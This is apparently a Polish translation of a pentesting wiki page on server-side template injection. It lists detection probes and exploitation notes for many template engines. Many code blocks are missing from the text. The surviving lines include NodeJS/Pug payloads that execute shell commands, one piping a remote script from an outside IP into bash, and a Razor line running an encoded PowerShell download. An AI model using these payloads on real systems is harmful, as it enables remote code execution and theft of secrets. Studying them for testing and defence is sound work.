SSTI (Server Side Template Injection)
RootedCON to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w Hiszpanii i jedno z najważniejszych w Europie. Mając misję promowania wiedzy technicznej, ten kongres stanowi gorący punkt spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
Czym jest SSTI (Server-Side Template Injection)
Wstrzyknięcie szablonu po stronie serwera (SSTI) to podatność, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany na serwerze. Ta podatność może być znaleziona w różnych technologiach, w tym w Jinja.
Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład demonstrujący podatny fragment kodu z użyciem Jinja:
W tym podatnym kodzie parametr name
z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji render
. Może to potencjalnie umożliwić atakującemu wstrzyknięcie złośliwego kodu do parametru name
, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
Na przykład, atakujący mógłby stworzyć żądanie z ładunkiem takim jak ten:
Payload {{zły-kod-tutaj}}
jest wstrzykiwany do parametru name
. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, potencjalnie uzyskując kontrolę nad serwerem.
Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, programiści powinni upewnić się, że dane wprowadzane przez użytkownika są odpowiednio oczyszczone i zweryfikowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik ucieczki świadomej kontekstu może pomóc zmniejszyć ryzyko tej podatności.
Wykrywanie
Aby wykryć Wstrzykiwanie Szablonów Po Stronie Serwera (SSTI), początkowo fuzzowanie szablonu jest prostym podejściem. Polega to na wstrzyknięciu sekwencji specjalnych znaków (${{<%[%'"}}%\
) do szablonu i analizowaniu różnic w odpowiedzi serwera na zwykłe dane w porównaniu z tym specjalnym ładunkiem. Wskaźniki podatności obejmują:
Wyrzucane błędy, ujawniające podatność i potencjalnie silnik szablonów.
Brak ładunku w odbiciu lub brak jego części, sugerujący, że serwer przetwarza go inaczej niż zwykłe dane.
Kontekst w tekście czystym: Odróżnij od XSS, sprawdzając, czy serwer ocenia wyrażenia szablonów (np.
{{7*7}}
,${7*7}
).Kontekst kodu: Potwierdź podatność, zmieniając parametry wejściowe. Na przykład zmieniając
greeting
whttp://vulnerable-website.com/?greeting=data.username
, aby sprawdzić, czy wynik serwera jest dynamiczny czy stały, jak w przypadkugreeting=data.username}}hello
zwracającego nazwę użytkownika.
Faza Identyfikacji
Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych ładunków specyficznych dla języka. Powszechne ładunki powodujące błędy to ${7/0}
, {{7/0}}
i <%= 7/0 %>
. Obserwowanie odpowiedzi serwera na operacje matematyczne pomaga zlokalizować konkretny silnik szablonów.
Narzędzia
wydajne narzędzie do skanowania SSTI + CSTI, które wykorzystuje nowatorskie poligloty
interaktywna tabela zawierająca najbardziej wydajne poligloty wstrzykiwania szablonów wraz z oczekiwanymi odpowiedziami 44 najważniejszych silników szablonów.
Exploits
Ogólne
W tej liście słów znajdziesz zmienne zdefiniowane w środowiskach niektórych z poniższych silników:
Java
Java - Podstawowa wstrzykiwania
Java - Pobierz zmienne środowiskowe systemu
Java - Pobierz /etc/passwd
FreeMarker (Java)
Możesz wypróbować swoje ładunki na https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
Freemarker - Pomijanie piaskownicy
⚠️ działa tylko w wersjach Freemarker poniżej 2.3.30
Więcej informacji
W sekcji FreeMarker na stronie https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Więcej informacji
W sekcji Velocity na stronie https://portswigger.net/research/server-side-template-injection
Thymeleaf
W Thymeleaf, powszechnym testem podatności na SSTI jest wyrażenie ${7*7}
, które również dotyczy tego silnika szablonów. Dla potencjalnego wykonania zdalnego kodu, można użyć wyrażeń takich jak:
SpringEL:
OGNL:
Thymeleaf wymaga, aby te wyrażenia były umieszczone w określonych atrybutach. Jednak wstawianie wyrażeń jest obsługiwane dla innych lokalizacji szablonów, używając składni takiej jak [[...]]
lub [(...)]
. W związku z tym, prosty ładunek testowy SSTI może wyglądać jak [[${7*7}]]
.
Jednak szansa na powodzenie tego ładunku jest zazwyczaj niska. Domyślna konfiguracja Thymeleaf nie obsługuje dynamicznej generacji szablonów; szablony muszą być predefiniowane. Programiści musieliby zaimplementować własny TemplateResolver
, aby tworzyć szablony z ciągów tekstowych w locie, co jest rzadkie.
Thymeleaf oferuje również przetwarzanie wyrażeń, gdzie wyrażenia wewnątrz podwójnych podkreśleń (__...__
) są przetwarzane wstępnie. Ta funkcja może być wykorzystana przy konstruowaniu wyrażeń, jak pokazano w dokumentacji Thymeleaf:
Przykład podatności w Thymeleaf
Rozważ poniższy fragment kodu, który może być podatny na eksploatację:
To wskazuje, że jeśli silnik szablonów nieprawidłowo przetwarza te dane wejściowe, może to prowadzić do zdalnego wykonania kodu uzyskującego dostęp do adresów URL, takich jak:
Więcej informacji
Framework Spring (Java)
Ominąć filtry
Można użyć wielu wyrażeń zmiennych, jeśli ${...}
nie działa, spróbuj #{...}
, *{...}
, @{...}
lub ~{...}
.
Odczytaj
/etc/passwd
Niestandardowy skrypt do generowania payloadów
Więcej informacji
Manipulacja widokiem Spring (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Stara wersja Pebble ( < wersja 3.0.9):
Nowa wersja Pebble:
Jinjava (Java)
Jinjava to silnik szablonów Java, który umożliwia wykonywanie ataków SSTI poprzez wstrzykiwanie kodu Java w szablony. Aby przeprowadzić atak SSTI za pomocą Jinjava, należy wstrzyknąć odpowiedni kod Java do szablonu, który zostanie następnie wykonany po stronie serwera.
Jinjava to projekt open source opracowany przez Hubspot, dostępny pod adresem https://github.com/HubSpot/jinjava/
Jinjava - Wykonanie poleceń
Naprawiono przez https://github.com/HubSpot/jinjava/pull/230
Więcej informacji
Hubspot - HuBL (Java)
Delimitery instrukcji
{% %}
Delimitery wyrażeń
{{ }}
Delimitery komentarzy
{# #}
{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Wyszukano "com.hubspot.content.hubl.context.TemplateContextRequest" i odkryto projekt Jinjava na Githubie.
Więcej informacji
Język Wyrażeń - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Język Wyrażeń (EL) to podstawowa funkcja ułatwiająca interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak zarządzane beany) w JavaEE. Jest szeroko stosowany w wielu technologiach JavaEE, aby usprawnić tę komunikację. Kluczowe technologie JavaEE wykorzystujące EL to:
JavaServer Faces (JSF): Wykorzystuje EL do wiązania komponentów na stronach JSF z odpowiadającymi danymi i akcjami w backendzie.
JavaServer Pages (JSP): EL jest używany w JSP do dostępu i manipulacji danymi wewnątrz stron JSP, ułatwiając połączenie elementów strony z danymi aplikacji.
Contexts and Dependency Injection for Java EE (CDI): EL integruje się z CDI, umożliwiając płynną interakcję między warstwą internetową a zarządzanymi beanami, zapewniając bardziej spójną strukturę aplikacji.
Sprawdź następującą stronę, aby dowiedzieć się więcej na temat eksploatacji interpreterów EL:
pageEL - Expression LanguageGroovy (Java)
Poniższe obejścia menedżera bezpieczeństwa zostały zaczerpnięte z tego opisu.
RootedCON to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w Hiszpanii i jedno z najważniejszych w Europie. Mając misję promowania wiedzy technicznej, ten kongres stanowi gorące miejsce spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
Smarty (PHP)
Więcej informacji
W sekcji Smarty na stronie https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
Twig - Format szablonu
Więcej informacji
W sekcji Twig i Twig (Sandboxed) na stronie https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Plates to silnik szablonów wbudowany w PHP, czerpiący inspirację z Twig. Jednak w przeciwieństwie do Twig, który wprowadza nową składnię, Plates wykorzystuje natywny kod PHP w szablonach, co czyni go intuicyjnym dla programistów PHP.
Kontroler:
Szablon strony:
Szablon układu:
Więcej informacji
PHPlib i HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB jest taka sama jak PHPlib, ale przeniesiona do Pear.
authors.tpl
autorzy.php
Więcej informacji
Jade (NodeJS)
Więcej informacji
W sekcji Jade na stronie https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate to niekompilujący silnik szablonów PHP, który używa tagów XML do podziału dokumentu na różne części.
Więcej informacji
Handlebars (NodeJS)
Ominięcie ścieżki (więcej informacji tutaj).
= Błąd
${7*7} = ${7*7}
Nic
Więcej informacji
JsRender (NodeJS)
Szablon | Opis |
Ocenia i renderuje wynik | |
Ocenia i renderuje wynik zakodowany w HTML | |
Komentarz | |
i | Pozwala na kod (domyślnie wyłączone) |
= 49
Po stronie klienta
Strona serwera
Więcej informacji
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Przykład renderowania po stronie serwera
Więcej informacji
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Brak wyniku
#{7*7} = #{7*7}
{{console.log(1)}} = Błąd
Więcej informacji
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
Więcej informacji
Slim (Ruby)
{ 7 * 7 }
Więcej informacji
Python
Sprawdź następującą stronę, aby dowiedzieć się o sztuczkach dotyczących omijania piaskownic przy wykonaniu dowolnych poleceń w języku Python:
pageBypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
Więcej informacji
Jinja2 (Python)
Jinja2 to zaawansowany silnik szablonów dla języka Python. Posiada pełne wsparcie dla Unicode, opcjonalne zintegrowane środowisko wykonawcze w trybie piaskownicy, jest powszechnie używany i posiada licencję BSD.
{{7*7}} = Błąd
${7*7} = ${7*7}
{{foobar}} Nic
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Format szablonu
RCE niezależne od __builtins__
:
Więcej szczegółów na temat nadużywania Jinja:
pageJinja2 SSTIInne ładunki w https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Więcej informacji
Razor (.Net)
@(2+2) <= Sukces
@() <= Sukces
@("{{code}}") <= Sukces
@ <= Sukces
@{} <= BŁĄD!
@{ <= BŁĄD!
@(1+2)
@( //Kod C# )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");
Metoda .NET
System.Diagnostics.Process.Start
może być użyta do uruchomienia dowolnego procesu na serwerze i tym samym utworzenia powłoki internetowej. Przykład podatnej aplikacji internetowej można znaleźć w https://github.com/cnotin/RazorVulnerableApp
Więcej informacji
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nic<%= response.write(date()) %>
= <Date>
Więcej informacji
Mojolicious (Perl)
Nawet jeśli to perl, używa tagów takich jak ERB w Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Błąd
SSTI w GO
W silniku szablonów Go, potwierdzenie jego użycia można przeprowadzić za pomocą konkretnych ładunków:
{{ . }}
: Ujawnia strukturę danych wejściowych. Na przykład, jeśli przekazany jest obiekt z atrybutemPassword
,{{ .Password }}
może go ujawnić.{{printf "%s" "ssti" }}
: Oczekuje się, że wyświetli ciąg znaków "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Te ładunki powinny zwrócić "ssti" bez dołączania "html" lub "js". Dodatkowe dyrektywy można badać w dokumentacji Go tutaj.
Eksploatacja XSS
Z pakietem text/template
, XSS może być prosty poprzez bezpośrednie wstawienie ładunku. W przeciwieństwie do tego, pakiet html/template
koduje odpowiedź, aby temu zapobiec (np. {{"<script>alert(1)</script>"}}
skutkuje <script>alert(1)</script>
). Niemniej jednak, definicja i wywołanie szablonu w Go może ominąć to kodowanie: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Eksploatacja RCE
Eksploatacja RCE różni się znacząco między html/template
i text/template
. Moduł text/template
pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (używając wartości "call"), co nie jest dozwolone w html/template
. Dokumentacja dla tych modułów jest dostępna tutaj dla html/template i tutaj dla text/template.
Dla RCE poprzez SSTI w Go, można wywoływać metody obiektu. Na przykład, jeśli dostarczony obiekt ma metodę System
wykonującą polecenia, można ją wykorzystać tak jak {{ .System "ls" }}
. Dostęp do kodu źródłowego jest zazwyczaj konieczny do wykorzystania tego, jak w podanym przykładzie:
Więcej informacji
Więcej eksploitów
Sprawdź resztę https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection dla więcej eksploitów. Możesz także znaleźć interesujące informacje o tagach w https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
Czarna księga PDF
Powiązana pomoc
Jeśli uważasz, że może być przydatne, przeczytaj:
Narzędzia
Lista wykrywania ataków siłowych
Praktyka i odniesienia
RootedCON to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w Hiszpanii i jedno z najważniejszych w Europie. Mając misję promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
Last updated